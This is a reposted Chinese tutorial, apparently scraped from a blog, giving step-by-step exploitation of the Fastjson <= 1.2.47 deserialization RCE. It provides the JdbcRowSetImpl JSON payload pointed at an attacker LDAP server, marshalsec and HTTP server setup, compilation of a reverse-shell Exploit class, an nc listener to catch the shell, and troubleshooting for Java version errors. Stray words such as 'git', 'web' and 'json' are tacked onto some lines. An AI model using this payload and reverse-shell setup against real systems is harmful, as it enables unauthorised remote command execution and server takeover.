【轉】fastjson-1.2.47-RCE

Fastjson <= 1.2.47 遠程命令執行漏洞利用工具及方法,以及避開坑點java

如下操做均在Ubuntu 18下親測可用,openjdk須要切換到8,且使用8的javacpython

> java -version
openjdk versin "1.8.0_222"

> javac -version
javac 1.8.0_222

0x00 假設存在漏洞的功能

POST /note/submit/

param={'id':29384,'content':'Hello','type':'string'}

0x01 測試外連

準備一臺服務器監聽流量git

nc -lvvp 7777

發送Payload,將IP改成監聽服務器IPgithub

POST /note/submit/

param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:7777/Exploit","autoCommit":true}}}

若是監聽服務器有流量,能夠繼續下一步web

0x02 準備LDAP服務和Web服務

將marshalsec-0.0.3-SNAPSHOT-all.jar文件和Exploit.java放在同一目錄下json

在當前目錄下運行LDAP服務,修改IP爲當前這臺服務器的IP服務器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit

在當前目錄下運行Web服務工具

python3 -m http.server 80 或者 python -m SimpleHTTPServer 80

0x03 修改Exploit並編譯成class文件

修改Exploit.java中的反彈IP和端口(準備接收反彈SHELL的服務器IP和監聽端口)測試

使用javac編譯Exploit.java,生成Exploit.class文件(注意:javac最好與目標服務器接近,不然目標服務器沒法解析class文件,會報錯)this

javac Exploit.java

0x03 準備

回顧一下,如今目錄應該有三個文件

marshalsec-0.0.3-SNAPSHOT-all.jar
Exploit.java
Exploit.class

服務器正在開啓LDAP和Web

LDAP Server:Listening on 0.0.0.0:1389
Web  Server:Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

一個nc正在準備接收反彈回來的SHELL

nc -lvvp 7777

0x04 執行

修改ip爲正在運行LDAP和Web服務的服務器IP

POST /note/submit

param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit","autoCommit":true}}}

接下來若是沒有任何報錯的話,LDAP將會把請求Redirect到Web服務,Fastjson將會下載Exploit.class,並解析運行

你的LDAP服務和Web服務都會收到請求記錄,若是沒有問題,你的nc也會收到反彈回來的SHELL

0x05 問題

當javac版本和目標服務器差太多,會報一個這樣獲得錯誤,因此須要使用1.8的javac來編譯Exploit.java

Caused by: java.lang.UnsupportedClassVersionError: Exploit has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0

當運行LDAP的服務器java版本太高,會沒法運行LDAP服務,雖然顯示正在Listening,可是Fastjson的JNDI會報錯,顯示沒法獲取到資源,因此要使用java 1.8(openjdk 8)來運行LDAP服務

 

來源及工具:https://github.com/CaijiOrz/fastjson-1.2.47-RCE

相關文章
相關標籤/搜索